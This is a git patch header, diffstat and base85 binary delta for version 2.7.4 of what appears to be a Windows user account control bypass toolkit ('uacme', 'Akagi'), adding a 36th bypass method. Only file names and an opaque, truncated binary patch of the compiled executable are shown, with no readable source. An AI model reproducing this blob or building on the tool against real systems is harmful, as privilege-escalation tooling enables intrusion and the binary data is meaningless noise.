From ae5e80524aa49364173d756da64233859fd2e03f Mon Sep 17 00:00:00 2001 From: hfiref0x Date: Thu, 22 Jun 2017 14:17:35 +0700 Subject: [PATCH] v 2.7.4 Method 36 added, readme updated. --- Compiled/Akagi32.exe | Bin 85504 -> 88064 bytes Compiled/Akagi64.exe | Bin 94208 -> 97792 bytes README.md | 20 +- Source/Akagi/Resource.rc | Bin 6144 -> 6144 bytes Source/Akagi/bin/Akatsuki64.cd | Bin 2939 -> 2975 bytes Source/Akagi/bin/Ikazuchi32.cd | Bin 4301 -> 4328 bytes Source/Akagi/bin/Ikazuchi64.cd | Bin 5206 -> 5254 bytes Source/Akagi/bin/fubuki32.cd | Bin 11894 -> 11903 bytes Source/Akagi/bin/fubuki64.cd | Bin 12188 -> 12207 bytes Source/Akagi/bin/hibiki32.cd | Bin 3554 -> 3583 bytes Source/Akagi/bin/hibiki64.cd | Bin 3921 -> 3952 bytes Source/Akagi/consts.h | 7 +- Source/Akagi/global.h | 9 +- Source/Akagi/main.c | 6 +- Source/Akagi/methods/carberp.c | 100 +------ Source/Akagi/methods/carberp.h | 12 +- Source/Akagi/methods/comfileop.c | 333 ++++++++++++++++++++++ Source/Akagi/methods/comfileop.h | 42 +++ Source/Akagi/methods/enigma0x3.c | 14 +- Source/Akagi/methods/hybrids.c | 137 +++++++++- Source/Akagi/methods/hybrids.h | 8 +- Source/Akagi/methods/methods.c | 18 +- Source/Akagi/methods/methods.h | 7 +- Source/Akagi/methods/pitou.c | 318 +-------------------- Source/Akagi/methods/pitou.h | 27 +- Source/Akagi/methods/tyranid.c | 9 +- Source/Akagi/methods/wusa.c | 426 +++++++++++++++++++++++++++++ Source/Akagi/methods/wusa.h | 30 ++ Source/Akagi/sup.c | 163 ++++++++++- Source/Akagi/sup.h | 44 ++- Source/Akagi/tests/test.c | 4 +- Source/Akagi/uacme.vcxproj | 4 + Source/Akagi/uacme.vcxproj.filters | 12 + Source/Akagi/uacme.vcxproj.user | 4 +- Source/Akatsuki/dllmain.c | 18 +- Source/Akatsuki/version.rc | Bin 5254 -> 5278 bytes Source/Fubuki/dll.vcxproj | 2 + Source/Fubuki/dll.vcxproj.filters | 6 + Source/Fubuki/dllmain.c | 28 +- Source/Fubuki/version.rc | Bin 5256 -> 5256 bytes Source/Hibiki/dllmain.c | 10 +- Source/Hibiki/version.rc | Bin 5256 -> 5256 bytes Source/Ikazuchi/dllmain.c | 18 +- Source/Ikazuchi/version.rc | Bin 5266 -> 5266 bytes Source/Shared/ntos.h | 23 +- Source/uacme.sln | 8 +- UACME.sha256 | 86 +++--- 47 files changed, 1372 insertions(+), 581 deletions(-) create mode 100644 Source/Akagi/methods/comfileop.c create mode 100644 Source/Akagi/methods/comfileop.h create mode 100644 Source/Akagi/methods/wusa.c create mode 100644 Source/Akagi/methods/wusa.h diff --git a/Compiled/Akagi32.exe b/Compiled/Akagi32.exe index 359314e001ad5cdcd61fd8d125aa4e2e5359b3c9..b2ad6e4d695d49228f7c51d19a8ebeac91ddb9ad 100644 GIT binary patch delta 43747 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 